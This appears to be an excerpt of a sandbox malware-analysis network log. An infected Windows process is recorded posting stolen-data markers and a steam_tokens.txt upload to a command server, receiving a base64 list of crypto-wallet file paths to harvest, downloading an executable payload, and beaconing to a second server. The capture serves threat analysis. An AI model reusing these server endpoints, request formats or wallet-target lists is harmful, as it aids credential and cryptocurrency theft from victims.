Sep 1, 2024 05:09:30.461910963 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 03:09:29 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 1, 2024 05:09:30.649292946 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDBKKFHIEGDHJKECAAKK Host: 185.215.113.100 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 32 64 35 36 65 38 30 34 38 33 62 66 65 63 30 33 34 32 31 61 37 62 31 34 37 37 35 33 61 33 37 34 65 65 66 34 65 31 32 37 38 34 36 35 32 39 37 32 32 31 30 37 36 33 39 65 62 31 33 61 35 66 61 63 63 62 36 62 37 62 62 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 2d 2d 0d 0a Data Ascii: ------GDBKKFHIEGDHJKECAAKKContent-Disposition: form-data; name="token"d2d56e80483bfec03421a7b147753a374eef4e127846529722107639eb13a5faccb6b7bb------GDBKKFHIEGDHJKECAAKKContent-Disposition: form-data; name="message"wallets------GDBKKFHIEGDHJKECAAKK--
Sep 1, 2024 05:09:30.894505024 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 03:09:30 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Sep 1, 2024 05:09:30.896620989 CEST	467	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKEBKJJDGHCBGCAAKEHD Host: 185.215.113.100 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 32 64 35 36 65 38 30 34 38 33 62 66 65 63 30 33 34 32 31 61 37 62 31 34 37 37 35 33 61 33 37 34 65 65 66 34 65 31 32 37 38 34 36 35 32 39 37 32 32 31 30 37 36 33 39 65 62 31 33 61 35 66 61 63 63 62 36 62 37 62 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 44 2d 2d 0d 0a Data Ascii: ------KKEBKJJDGHCBGCAAKEHDContent-Disposition: form-data; name="token"d2d56e80483bfec03421a7b147753a374eef4e127846529722107639eb13a5faccb6b7bb------KKEBKJJDGHCBGCAAKEHDContent-Disposition: form-data; name="message"files------KKEBKJJDGHCBGCAAKEHD--
Sep 1, 2024 05:09:31.141592979 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 03:09:31 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 1, 2024 05:09:31.153290033 CEST	565	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFIDGHDBAFIJJJJKJDHD Host: 185.215.113.100 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 49 44 47 48 44 42 41 46 49 4a 4a 4a 4a 4b 4a 44 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 32 64 35 36 65 38 30 34 38 33 62 66 65 63 30 33 34 32 31 61 37 62 31 34 37 37 35 33 61 33 37 34 65 65 66 34 65 31 32 37 38 34 36 35 32 39 37 32 32 31 30 37 36 33 39 65 62 31 33 61 35 66 61 63 63 62 36 62 37 62 62 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 44 47 48 44 42 41 46 49 4a 4a 4a 4a 4b 4a 44 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 44 47 48 44 42 41 46 49 4a 4a 4a 4a 4b 4a 44 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BFIDGHDBAFIJJJJKJDHDContent-Disposition: form-data; name="token"d2d56e80483bfec03421a7b147753a374eef4e127846529722107639eb13a5faccb6b7bb------BFIDGHDBAFIJJJJKJDHDContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BFIDGHDBAFIJJJJKJDHDContent-Disposition: form-data; name="file"------BFIDGHDBAFIJJJJKJDHD--
Sep 1, 2024 05:09:31.952014923 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 03:09:31 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 1, 2024 05:09:31.978755951 CEST	474	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAFIDGCFHIEHJJJJECAK Host: 185.215.113.100 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 46 49 44 47 43 46 48 49 45 48 4a 4a 4a 4a 45 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 32 64 35 36 65 38 30 34 38 33 62 66 65 63 30 33 34 32 31 61 37 62 31 34 37 37 35 33 61 33 37 34 65 65 66 34 65 31 32 37 38 34 36 35 32 39 37 32 32 31 30 37 36 33 39 65 62 31 33 61 35 66 61 63 63 62 36 62 37 62 62 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 44 47 43 46 48 49 45 48 4a 4a 4a 4a 45 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 44 47 43 46 48 49 45 48 4a 4a 4a 4a 45 43 41 4b 2d 2d 0d 0a Data Ascii: ------AAFIDGCFHIEHJJJJECAKContent-Disposition: form-data; name="token"d2d56e80483bfec03421a7b147753a374eef4e127846529722107639eb13a5faccb6b7bb------AAFIDGCFHIEHJJJJECAKContent-Disposition: form-data; name="message"ybncbhylepme------AAFIDGCFHIEHJJJJECAK--
Sep 1, 2024 05:09:32.230627060 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 03:09:32 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 5462 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 2a 2e 31 3c 62 72 3e 3c 62 72 3e 2a 2e 30 3c 62 72 3e 3c 62 72 3e 2a 2e 70 6c 3c 62 72 3e 3c 62 72 3e 2a 2e 61 72 3c 62 72 3e 3c 62 72 3e 2a 2e 62 72 3c 62 72 3e 3c 62 72 3e 2a 2e 65 63 3c 62 72 3e 3c 62 72 3e 2a 2e 65 67 3c 62 72 3e 3c 62 72 3e 2a 2e 69 6e 3c 62 72 3e 3c 62 72 3e 2a 2e 70 74 3c 62 72 3e 3c 62 72 3e 2a 2e 61 63 3c 62 72 3e 3c 62 72 3e 2a 2e 62 64 3c 62 72 3e 3c 62 72 3e 2a 2e 7a 6d 3c 62 72 3e 3c 62 72 3e 2a 2e 76 65 3c 62 72 3e 3c 62 72 3e 2a 2e 70 6b 3c 62 72 3e 3c 62 72 3e 2a 2e 72 73 3c 62 72 3e 3c 62 72 3e 2a 2e 70 68 3c 62 72 3e 3c 62 72 3e 2a 2e 6d 78 3c 62 72 3e 3c 62 72 3e 2a 2e 69 6e 3c 62 72 3e 3c 62 72 3e 2a 2e 74 68 3c 62 72 3e 3c 62 72 3e 2a 2e 63 6f 3c 62 72 3e 3c 62 72 3e 2a 2e 69 64 3c 62 72 3e 3c 62 72 3e 2a 7a 2e 69 64 3c 62 72 3e 3c 62 72 3e 2a 2e 74 72 3c 62 72 3e 3c 62 72 3e 2a 2e 63 7a 3c 62 72 3e 3c 62 72 3e 2a 2e 69 6f 3c 62 72 3e 3c 62 72 3e 2a 2e 64 7a 3c 62 72 3e 3c 62 72 3e 2a 2e 64 65 3c 62 72 3e 3c 62 72 3e 2a 2e 6b 72 3c 62 72 3e 3c 62 72 3e 2a 2e 6d [TRUNCATED] Data Ascii: .1<br><br>.0<br><br>.pl<br><br>.ar<br><br>.br<br><br>.ec<br><br>.eg<br><br>.in<br><br>.pt<br><br>.ac<br><br>.bd<br><br>.zm<br><br>.ve<br><br>.pk<br><br>.rs<br><br>.ph<br><br>.mx<br><br>.in<br><br>.th<br><br>.co<br><br>.id<br><br>z.id<br><br>.tr<br><br>.cz<br><br>.io<br><br>.dz<br><br>.de<br><br>.kr<br><br>.ma<br><br>.jp<br><br>.za<br><br>.sa<br><br>.vn<br><br>.cl<br><br>.pe<br><br>.ke<br><br>.tw<br><br>.cn<br><br>.my<br><br>.mz<br><br>.sv<br><br>.au<br><br>.bo<br><br>.mn<br><br>.lb<br><br>.es<br><br>.org<br><br>.uk<br><br>.ug<br><br>.sy<br><br>.gh<br><br>.bc<br><br>.ao<br><br>.ni<br><br>.ng<br><br>.to<br><br>.edu<br><br>.it<br><br>.tn<br><br>.net<br><br>.gn<br><br>.hk<br><br>.uy<br><br>.ae<br><br>.np<br><br>.mm<br><br>.do<br><br>.ir<br><br>.biz<br><br>.tv<br><br>.gt<br><br>.ps<br><br>.dk<br><br>.gp<br><br>.hu<br><br>.ge<br><br>.ci<br><br>.ca<br><br>.al<br><br>.jo<br><br>.sn<br><br>.is<br><br>.ro<br><br>.cr<br><
Sep 1, 2024 05:09:32.232337952 CEST	474	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKKEBKJJDGHCBGCAAKEH Host: 185.215.113.100 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 32 64 35 36 65 38 30 34 38 33 62 66 65 63 30 33 34 32 31 61 37 62 31 34 37 37 35 33 61 33 37 34 65 65 66 34 65 31 32 37 38 34 36 35 32 39 37 32 32 31 30 37 36 33 39 65 62 31 33 61 35 66 61 63 63 62 36 62 37 62 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 2d 2d 0d 0a Data Ascii: ------KKKEBKJJDGHCBGCAAKEHContent-Disposition: form-data; name="token"d2d56e80483bfec03421a7b147753a374eef4e127846529722107639eb13a5faccb6b7bb------KKKEBKJJDGHCBGCAAKEHContent-Disposition: form-data; name="message"wkkjqaiaxkhb------KKKEBKJJDGHCBGCAAKEH--
Sep 1, 2024 05:09:33.031506062 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 03:09:32 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=78 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49743	185.215.113.16	80	7692	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 05:09:12.656965971 CEST	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Sep 1, 2024 05:09:13.417959929 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:13 GMT Content-Type: application/octet-stream Content-Length: 917504 Last-Modified: Sun, 01 Sep 2024 03:01:38 GMT Connection: keep-alive ETag: "66d3d912-e0000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 0a d9 d3 66 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 50 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELf"Pw@`(@@@d\|@u4@.text `.rdata@@.datalpH@.rsrc@@@.relocuv@B
Sep 1, 2024 05:09:13.418023109 CEST	164	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$
Sep 1, 2024 05:09:13.418240070 CEST	1236	IN	Data Raw: 44 00 e8 2f f0 01 00 59 c3 e8 de 25 00 00 68 1c 24 44 00 e8 1e f0 01 00 59 c3 e8 ae e7 01 00 68 21 24 44 00 e8 0d f0 01 00 59 c3 e8 41 32 00 00 68 26 24 44 00 e8 fc ef 01 00 59 c3 e8 50 c1 01 00 68 30 24 44 00 e8 eb ef 01 00 59 c3 b9 04 25 4d 00 Data Ascii: D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0M@0M\I0MH,M3MMM
Sep 1, 2024 05:09:13.418251038 CEST	1236	IN	Data Raw: ce c7 06 3c c9 49 00 e8 88 02 00 00 ff 76 04 e8 bf e8 01 00 59 8d 8f 8c fd ff ff e8 1b 02 00 00 8d 8f 7c fd ff ff e8 23 83 00 00 8d 8f 6c fd ff ff e8 29 ba 00 00 8d b7 5c fd ff ff 8b ce c7 06 44 c9 49 00 e8 74 02 00 00 ff 76 04 e8 82 e8 01 00 8b Data Ascii: <IvY\|#l)\DItvL@IY9TPTX<@IY9D@D.,@IY9404Y$<Iv
Sep 1, 2024 05:09:13.418256998 CEST	1236	IN	Data Raw: 29 8b 45 08 8b cf 8b 30 e8 7e b5 00 00 89 37 c7 47 0c 01 00 00 00 8b 43 08 80 7b 0d 00 5f 5e 5b 75 0d c6 40 10 00 5d c2 08 00 8b 7f 38 eb d2 8b 40 38 eb ee 33 c0 c7 05 80 18 4d 00 64 00 00 00 33 c9 66 a3 32 15 4d 00 41 a2 34 15 4d 00 6a 0a 89 0d Data Ascii: )E0~7GC{_^[u@]8@83Md3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuON8w^_]UVuWVgFO GFGF
Sep 1, 2024 05:09:13.418270111 CEST	492	IN	Data Raw: cd 00 00 00 84 c0 75 0c 8b ca e8 c2 00 00 00 84 c0 75 01 c3 b0 01 c3 55 8b ec 51 51 56 57 8b 7d 08 8d 45 ff 50 8d 45 f8 c7 45 f8 01 00 00 00 50 57 8b f1 e8 4e 00 00 00 85 c0 78 38 8b 4f 04 8b 45 f8 8b 04 81 66 83 78 08 7f 0f 85 33 08 04 00 80 7d Data Ascii: uuUQQVW}EPEEPWNx8OEfx3}dumhuIEA_^I0UeEeVEVPuuxMM3M^At)t
Sep 1, 2024 05:09:13.418323994 CEST	1236	IN	Data Raw: e8 16 8d 00 00 85 c0 0f 85 c7 06 04 00 8b 47 04 33 c9 83 fe 2b 0f 94 c1 8b 44 88 08 66 83 78 08 47 75 42 8d 41 03 89 45 f8 8d 45 fc 53 50 8d 45 e8 50 8d 45 f8 50 57 e8 1b 44 00 00 85 c0 0f 88 a2 06 04 00 8d 4d e8 e8 6e 77 00 00 8b 55 fc e9 25 ff Data Ascii: G3+DfxGuBAEESPEPEPWDMnwU%lMc3_^[jiXlU<SVMMW}3E7Nuu3RB3t&u"@f9putBuu6UMEPdEM@
Sep 1, 2024 05:09:13.418343067 CEST	224	IN	Data Raw: 03 00 00 85 c0 78 02 8b f3 8d 4d 84 e8 1a 02 00 00 8d 8d 78 ff ff ff e8 0f 02 00 00 8d 8d 6c ff ff ff e8 04 02 00 00 8d 8d 60 ff ff ff e8 f9 01 00 00 8d 4d a8 e8 f1 01 00 00 8d 8d 54 ff ff ff e8 e6 01 00 00 8d 4d 9c e8 de 01 00 00 5f 8b c6 5e 5b Data Ascii: xMxl`MTM_^[rU]AjYf9H}AjYf9HEE}xPG\|EIEE}`PG
Sep 1, 2024 05:09:13.418350935 CEST	1236	IN	Data Raw: 01 00 00 8b 85 64 ff ff ff 89 45 c4 e9 25 fc ff ff 83 7d f0 00 8b 55 f8 8b 5d fc 0f 85 1b fc ff ff 85 d2 0f 85 13 fc ff ff 85 db 0f 85 0b fc ff ff e9 2f 03 04 00 8b 45 f0 48 4f 83 bd 78 ff ff ff 00 89 45 f0 0f 84 97 00 00 00 80 7d 81 00 8b 45 c8 Data Ascii: dE%}U]/EHOxE}Ex\|EEx;Vh6AjYf9HUJO`UtFiEu?`dUEx;_Vjx]@i]
Sep 1, 2024 05:09:13.418395996 CEST	1236	IN	Data Raw: 00 00 8b ce e8 b5 11 00 00 8d 44 24 38 50 ff 15 f8 c3 49 00 8d 4c 24 28 e8 15 6d 00 00 5f 5e 5b 8b e5 5d c2 04 00 55 8b ec 83 ec 34 53 56 57 6a 0f ff 15 3c c7 49 00 68 00 7f 00 00 6a 00 8b d8 ff 15 38 c7 49 00 8b 35 34 c7 49 00 8b f8 6a 63 ff 35 Data Ascii: D$8PIL$(m_^[]U4SVWj<Ihj8I54Ijc5XMh5XMMh5XMM3MVjjjjc5XMIXMMEEPME0E#uuM}]uEIUEV1@0I5MfT
Sep 1, 2024 05:09:13.422868967 CEST	1236	IN	Data Raw: 45 f0 50 8d 4d d0 e8 4c 3f 00 00 43 8d 45 d0 53 6a 01 50 57 e8 66 40 00 00 83 c4 10 8d 4d d0 e8 4b 9f 00 00 8d 45 f0 50 8d 4d 90 e8 23 00 00 00 3b de 7c cb 8d 4d f0 e8 22 68 00 00 8d 4d c0 e8 2b 9f 00 00 8d 4d 90 e8 40 00 00 00 5f 5e 5b c9 c2 08 Data Ascii: EPML?CESjPWf@MKEPM#;\|M"hM+M@_^[U;Q}BAM;t4!x]MhI:2VWw7'G$4I7v-YO_^gU=hMtP3hPhMTP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49744	185.215.113.19	80	7692	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 05:09:15.742554903 CEST	182	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 35 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000053001&unit=246122658369
Sep 1, 2024 05:09:16.479242086 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49745	185.215.113.19	80	7692	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 05:09:16.880281925 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 05:09:17.426809072 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 05:09:18.133044958 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 05:09:18.386435032 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 03:09:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
